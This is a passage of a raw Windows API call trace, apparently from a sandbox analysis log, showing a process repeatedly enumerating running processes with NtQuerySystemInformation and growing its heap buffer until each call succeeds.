0x2560048 [0225.871] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0225.872] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0225.872] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0225.872] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0225.980] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0225.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0225.980] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0225.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0225.980] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0225.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.980] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0225.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.980] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0225.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.980] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0225.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.980] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0225.981] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0225.981] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0225.981] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0225.981] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0226.089] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0226.089] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0226.089] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0226.089] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0226.089] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0226.089] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.089] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0226.089] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.089] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0226.089] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.090] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0226.090] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.090] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0226.090] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0226.090] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0226.090] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0226.090] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0226.198] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0226.198] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0226.198] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0226.198] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0226.198] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0226.198] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.198] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0226.198] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.199] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0226.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.199] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0226.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.199] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0226.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0226.199] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0226.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0226.199] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0226.307] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0226.307] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0226.307] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0226.307] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0226.308] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0226.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.308] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0226.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.308] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0226.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.308] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0226.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.308] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0226.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0226.308] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0226.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0226.308] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0226.416] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0226.416] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0226.417] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0226.417] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0226.417] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0226.417] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.417] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0226.417] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.417] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0226.417] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.417] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0226.417] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.417] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0226.417] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0226.417] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0226.417] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0226.418] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0226.527] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0226.527] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0226.527] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0226.527] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0226.528] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0226.528] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.528] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0226.528] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.528] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0226.528] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.528] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0226.528] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.528] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0226.528] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0226.528] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0226.528] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0226.528] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0226.635] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0226.635] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0226.635] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0226.635] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0226.635] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0226.635] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.635] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0226.635] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.635] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0226.635] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.636] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0226.636] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.636] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0226.636] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0226.636] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0226.636] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0226.636] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0226.744] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0226.744] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0226.744] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0226.744] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0226.744] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0226.744] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.745] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0226.745] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.745] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0226.745] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.745] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0226.745] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.745] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0226.745] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0226.745] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0226.745] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0226.745] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0226.853] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0226.853] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0226.853] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0226.853] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0226.854] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0226.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.854] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0226.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.854] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0226.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.854] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0226.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.854] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0226.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0226.854] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0226.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0226.854] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0226.962] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0226.962] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0226.963] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0226.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0226.963] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0226.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.963] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0226.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.963] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0226.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.963] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0226.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0226.963] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0226.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0226.963] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0226.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0226.964] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0227.072] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0227.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0227.072] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0227.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0227.072] RtlReAllocateHeap 